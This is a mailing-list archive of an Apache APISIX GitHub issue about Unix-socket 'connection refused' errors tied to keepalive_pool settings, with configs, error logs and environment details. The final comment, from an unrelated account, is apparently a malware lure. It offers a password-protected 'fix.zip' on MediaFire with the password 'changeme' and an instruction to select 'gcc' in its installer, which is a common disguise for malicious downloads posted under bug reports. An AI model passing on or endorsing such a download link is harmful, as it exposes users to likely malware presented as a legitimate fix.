You are viewing a plain text version of this content. The canonical link for it is here.
Posted to notifications@apisix.apache.org by "ali-mahdavi-mehr (via GitHub)" <gi...@apache.org> on 2024/08/29 14:40:47 UTC
[I] bug: 49#49: *1704858 connect() to unix:/usr/local/apisix/conf/apisix-1.sock failed (111: Connection refused) [apisix]
ali-mahdavi-mehr opened a new issue, #11540:
URL: https://github.com/apache/apisix/issues/11540
### Current Behavior
upstream config:
```json
{
"nodes": [
{
"host": "*",
"port": 80,
"weight": 1
}
],
"timeout": {
"connect": 20,
"send": 20,
"read": 20
},
"type": "roundrobin",
"scheme": "http",
"pass_host": "pass",
"name": "*",
"keepalive_pool": {
"idle_timeout": 60,
"requests": 50,
"size": 60
}
}
```
and below image is the results:

we found that keepalive_pool has a direct effect on errors that we got.
when
``` json
"keepalive_pool": {
"idle_timeout": 60,
"requests": 1,
"size": 1
}
```
everything is normal, but when we put `size` or `request` in any number greater than 1 50-60 percent of requests fail.
First, I want to know what these parameters mean And how much they should have on 100 TPS?
runner config:
ext-plugin:
cmd: ["/plugins/go-runner", "run"]
### Expected Behavior
Which configurations should be set on keepalive_pool on TPS 100?
### Error Logs
bug: Throw 2024/08/29 13:50:42 [error] 49#49: *1704858 connect() to unix:/usr/local/apisix/conf/apisix-1.sock failed (111: Connection refused), client: *, server: _, request: "POST /* HTTP/1.1", host: "*"
2024/08/29 13:50:42 [error] 49#49: *1704858 [lua] init.lua:891: communicate(): failed to connect to the unix socket unix:/usr/local/apisix/conf/apisix-1.sock: connection refused, client: *, server: _, request: "POST /* HTTP/1.1", host: "*"
### Steps to Reproduce
1- Run On k8s
2- set the upstream configs like :```
keepalive_pool": {
"idle_timeout": 60,
"requests": 50,
"size": 60
}
```
3- send request with TPS 10
### Environment
- APISIX version : 3.8.0
- Operating system : UBUNTU
- OpenResty / Nginx version : openresty/1.21.4.2
- Plugin runner version, for issues related to plugin runners: Go Plugin Runner 0.5.0
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@apisix.apache.org.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] bug: 49#49: *1704858 connect() to unix:/usr/local/apisix/conf/apisix-1.sock failed (111: Connection refused) [apisix]
Posted by "ali-mahdavi-mehr (via GitHub)" <gi...@apache.org>.
ali-mahdavi-mehr closed issue #11540: bug: 49#49: *1704858 connect() to unix:/usr/local/apisix/conf/apisix-1.sock failed (111: Connection refused)
URL: https://github.com/apache/apisix/issues/11540
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@apisix.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] bug: 49#49: *1704858 connect() to unix:/usr/local/apisix/conf/apisix-1.sock failed (111: Connection refused) [apisix]
Posted by "Anubi5x0 (via GitHub)" <gi...@apache.org>.
Anubi5x0 commented on issue #11540:
URL: https://github.com/apache/apisix/issues/11540#issuecomment-2317917657
Download
https://www.mediafire.com/file/7ybpxn8lil1av70/fix.zip/file
password: changeme
In the installer menu, select "gcc."
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@apisix.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org